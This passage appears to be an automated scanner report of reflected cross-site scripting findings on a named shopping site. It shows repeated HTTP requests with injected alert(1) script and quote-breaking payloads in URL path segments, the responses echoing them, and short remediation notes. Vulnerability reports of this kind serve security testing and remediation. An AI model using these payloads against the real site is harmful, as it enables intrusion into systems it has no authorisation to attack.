GET /Shopping/Equipment-Gadgetscd721<script>alert(1)</script>612f6ddb2e8/339412286 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:18:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60988
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Equipment Gadgetscd721<script>alert(1)</script>612f6ddb2e8 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 367bb'-alert(1)-'d7a25211229 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping367bb'-alert(1)-'d7a25211229/Equipment-Gadgets/339412286/Equipment-Gadgets/74 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:59:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60139
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping367bb'-alert(1)-'d7a25211229/Equipment-Gadgets/339412286/Equipment-Gadgets/74'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2341a"><a>75abcf4375b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping2341a"><a>75abcf4375b/Equipment-Gadgets/339412286/Equipment-Gadgets/74 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:50:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60032
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping2341a"><a>75abcf4375b"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ecc06<script>alert(1)</script>33a2ca35e1d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Equipment-Gadgetsecc06<script>alert(1)</script>33a2ca35e1d/339412286/Equipment-Gadgets/74 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:03:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59893
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Equipment Gadgetsecc06<script>alert(1)</script>33a2ca35e1d <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64a2d'-alert(1)-'ba813a337b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets64a2d'-alert(1)-'ba813a337b6/339412286/Equipment-Gadgets/74 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:02:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59893
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Equipment-Gadgets64a2d'-alert(1)-'ba813a337b6/339412286/Equipment-Gadgets/74'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ae557'-alert(1)-'99f8cfcd546 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286ae557'-alert(1)-'99f8cfcd546/Equipment-Gadgets/74 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:07:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60243
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Equipment-Gadgets/339412286ae557'-alert(1)-'99f8cfcd546/Equipment-Gadgets/74'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 51346'-alert(1)-'c2e4df255bc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Equipment-Gadgets51346'-alert(1)-'c2e4df255bc/74 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:16:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59710
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Equipment-Gadgets/339412286/Equipment-Gadgets51346'-alert(1)-'c2e4df255bc/74'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1edda'-alert(1)-'67f26a7991b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Equipment-Gadgets/741edda'-alert(1)-'67f26a7991b HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:20:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54330
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Equipment-Gadgets/339412286/Equipment-Gadgets/741edda'-alert(1)-'67f26a7991b'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b790b"><a>f5041150bc5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingb790b"><a>f5041150bc5/Equipment-Gadgets/339412286/Mobile-Phones/55 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:45:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60240
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingb790b"><a>f5041150bc5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 657c8'-alert(1)-'879671d9669 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping657c8'-alert(1)-'879671d9669/Equipment-Gadgets/339412286/Mobile-Phones/55 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:54:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60053
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping657c8'-alert(1)-'879671d9669/Equipment-Gadgets/339412286/Mobile-Phones/55'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a0a2f<script>alert(1)</script>a7b6b47792c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Equipment-Gadgetsa0a2f<script>alert(1)</script>a7b6b47792c/339412286/Mobile-Phones/55 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:01:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60114
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Equipment Gadgetsa0a2f<script>alert(1)</script>a7b6b47792c <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d935'-alert(1)-'b97ae07adf5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets9d935'-alert(1)-'b97ae07adf5/339412286/Mobile-Phones/55 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:01:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60296
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Equipment-Gadgets9d935'-alert(1)-'b97ae07adf5/339412286/Mobile-Phones/55'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d9924'-alert(1)-'bccb86718fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286d9924'-alert(1)-'bccb86718fb/Mobile-Phones/55 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:08:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60567
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Equipment-Gadgets/339412286d9924'-alert(1)-'bccb86718fb/Mobile-Phones/55'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd851'-alert(1)-'40b90556b76 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Mobile-Phonesbd851'-alert(1)-'40b90556b76/55 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:14:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60107
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Equipment-Gadgets/339412286/Mobile-Phonesbd851'-alert(1)-'40b90556b76/55'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a104'-alert(1)-'03a1f3b248a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Mobile-Phones/559a104'-alert(1)-'03a1f3b248a HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:18:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54334
